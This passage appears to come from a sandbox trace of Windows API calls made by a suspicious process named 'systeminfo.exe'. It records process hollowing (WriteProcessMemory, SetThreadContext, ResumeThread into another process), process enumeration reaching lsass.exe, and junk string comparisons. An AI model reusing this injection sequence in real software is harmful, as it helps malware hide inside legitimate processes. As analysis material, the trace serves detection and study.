[57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0068.518] IsWow64Process (in: hProcess=0x3f0, Wow64Process=0x2f1f8dc | out: Wow64Process=0x2f1f8dc) returned 1 [0068.518] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x400000, lpBuffer=0xb20000*, nSize=0x5b000, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0xb20000*, lpNumberOfBytesWritten=0x0) returned 1 [0068.521] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x7efde008, lpBuffer=0x2f1f8e0*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x2f1f8e0*, lpNumberOfBytesWritten=0x0) returned 1 [0068.521] WriteProcessMemory (in: hProcess=0x3f0, lpBaseAddress=0x7efdf010, lpBuffer=0x2f1f8e0*, nSize=0x4, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x2f1f8e0*, lpNumberOfBytesWritten=0x0) returned 1 [0068.521] SetThreadContext (hThread=0x3f4, lpContext=0x2f1f5f0*(ContextFlags=0x10002, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x443a06, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0068.521] ResumeThread (hThread=0x3f4) returned 0x1 [0068.521] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0xffffffff) returned 0x0 [0070.693] CloseHandle (hObject=0x3f0) returned 1 [0070.693] CloseHandle (hObject=0x3f4) returned 1 [0070.693] CloseHandle (hObject=0x0) returned 0 [0070.693] VirtualFree (lpAddress=0xb20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.694] GetTickCount () returned 0x20bf1 [0070.975] GetTickCount () returned 0x20d0a [0070.975] GetLastError () returned 0x6 [0070.975] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2f1faf8, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0070.975] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0070.975] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f4 [0070.976] GetLastError () returned 0x0 [0070.976] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0070.976] SetLastError (dwErrCode=0x0) [0070.976] GetCurrentProcess () returned 0xffffffff [0070.976] GetLastError () returned 0x0 [0070.976] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFA04P") returned 7 [0070.976] SetLastError (dwErrCode=0x0) [0070.977] GetCurrentProcessId () returned 0x81c [0070.977] Process32FirstW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0070.977] GetCurrentProcess () returned 0xffffffff [0070.977] GetLastError () returned 0x0 [0070.977] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFA05P") returned 7 [0070.977] SetLastError (dwErrCode=0x0) [0070.977] GetCurrentProcessId () returned 0x81c [0070.977] GetLastError () returned 0x0 [0070.977] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6EFA06P") returned 7 [0070.977] SetLastError (dwErrCode=0x0) [0070.977] GetCurrentProcessId () returned 0x81c [0070.977] GetCurrentProcessId () returned 0x81c [0070.977] GetCurrentProcessId () returned 0x81c [0070.977] lstrcpyW (in: lpString1=0x33e520c, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0070.977] GetCurrentProcessId () returned 0x81c [0070.977] GetCurrentProcessId () returned 0x81c [0070.977] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0070.978] lstrlenA (lpString="just string") returned 11 [0070.978] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.978] GetLastError () returned 0x0 [0070.978] GetCurrentProcessId () returned 0x81c [0070.978] lstrcpyW (in: lpString1=0x33e5434, lpString2="System" | out: lpString1="System") returned="System" [0070.978] lstrlenA (lpString="just string") returned 11 [0070.978] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.978] GetLastError () returned 0x0 [0070.978] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0070.979] lstrlenA (lpString="just string") returned 11 [0070.979] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.979] GetCurrentProcessId () returned 0x81c [0070.979] GetLastError () returned 0x0 [0070.979] lstrcpyW (in: lpString1=0x33e565c, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0070.979] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.979] GetLastError () returned 0x0 [0070.979] lstrcmpA (lpString1="G", lpString2="luck") returned -1 [0070.979] SetLastError (dwErrCode=0x0) [0070.979] GetCurrentProcess () returned 0xffffffff [0070.979] GetLastError () returned 0x0 [0070.979] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFA90P") returned 7 [0070.979] SetLastError (dwErrCode=0x0) [0070.979] GetCurrentProcessId () returned 0x81c [0070.979] GetCurrentProcess () returned 0xffffffff [0070.979] GetLastError () returned 0x0 [0070.979] wsprintfA (in: param_1=0x2f1f81b, param_2="%X%P" | out: param_1="6EFA91P") returned 7 [0070.979] SetLastError (dwErrCode=0x0) [0070.980] GetCurrentProcessId () returned 0x81c [0070.980] GetCurrentProcessId () returned 0x81c [0070.980] GetLastError () returned 0x0 [0070.980] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="6EFA92P") returned 7 [0070.980] SetLastError (dwErrCode=0x0) [0070.980] GetCurrentProcessId () returned 0x81c [0070.980] lstrcpyW (in: lpString1=0x33e5884, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0070.980] GetCurrentProcessId () returned 0x81c [0070.980] GetCurrentProcessId () returned 0x81c [0070.980] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0070.980] GetCurrentProcessId () returned 0x81c [0070.980] lstrlenA (lpString="just string") returned 11 [0070.980] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.980] GetCurrentProcessId () returned 0x81c [0070.980] GetLastError () returned 0x0 [0070.980] lstrcpyW (in: lpString1=0x33e5aac, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0070.980] GetCurrentProcessId () returned 0x81c [0070.980] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0070.981] lstrlenA (lpString="just string") returned 11 [0070.981] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.981] GetLastError () returned 0x0 [0070.981] GetCurrentProcessId () returned 0x81c [0070.981] lstrlenA (lpString="just string") returned 11 [0070.981] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.981] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0070.982] GetLastError () returned 0x0 [0070.982] GetCurrentProcessId () returned 0x81c [0070.982] GetLastError () returned 0x0 [0070.982] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0070.982] SetLastError (dwErrCode=0x0) [0070.982] GetCurrentProcess () returned 0xffffffff [0070.982] GetLastError () returned 0x0 [0070.982] wsprintfA (in: param_1=0x2f1f80b, param_2="%X%P" | out: param_1="6EFAFEP") returned 7 [0070.982] SetLastError (dwErrCode=0x0) [0070.982] GetCurrentProcessId () returned 0x81c [0070.982] lstrcpyW (in: lpString1=0x33e5cd4, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0070.982] GetCurrentProcess () returned 0xffffffff [0070.982] GetLastError () returned 0x0 [0070.982] wsprintfA (in: param_1=0x2f1f80f, param_2="%X%P" | out: param_1="6EFAFFP") returned 7 [0070.982] SetLastError (dwErrCode=0x0) [0070.982] GetCurrentProcessId () returned 0x81c [0070.982] GetLastError () returned 0x0 [0070.982] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFB00P") returned 7 [0070.982] SetLastError (dwErrCode=0x0) [0070.982] GetCurrentProcessId () returned 0x81c [0070.982] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0070.983] GetCurrentProcessId () returned 0x81c [0070.983] GetCurrentProcessId () returned 0x81c [0070.983] GetCurrentProcessId () returned 0x81c [0070.983] GetCurrentProcessId () returned 0x81c [0070.983] lstrcpyW (in: lpString1=0x33e5efc, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0070.983] lstrlenA (lpString="just string") returned 11 [0070.983] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.983] GetLastError () returned 0x0 [0070.983] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0070.983] lstrlenA (lpString="just string") returned 11 [0070.983] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0070.983] GetCurrentProcessId () returned 0x81c [0070.983] GetLastError () returned 0x0 [0070.983] lstrcpyW (in: lpString1=0x33e6124, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0070.983] Process32NextW (in: hSnapshot=0x3f4, lppe=0x2f1f8b8 | out: lppe=0x2f1f8b8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0070.984] GetLastError () returned 0x0 [0070.984] lstrcmpA (lpString1="G", lpString2="luck") returned -1 [0070.984] SetLastError (dwErrCode=0x0) [0070.984] GetCurrentProcess () returned 0xffffffff [0070.984] GetLastError () returned 0x0 [0070.984] wsprintfA (in: param_1=0x2f1f827, param_2="%X%P" | out: param_1="6EFB6CP") returned 7 [0070.984] SetLastError (dwErrCode=0x0) [0070.984] GetCurrentProcessId () returned 0x81c [0070.984] GetCurrentProcess () returned 0xffffffff [0070.984] GetLastError () returned 0x0 [0070.984] wsprintfA (in: param_1=0x2f1f81b, 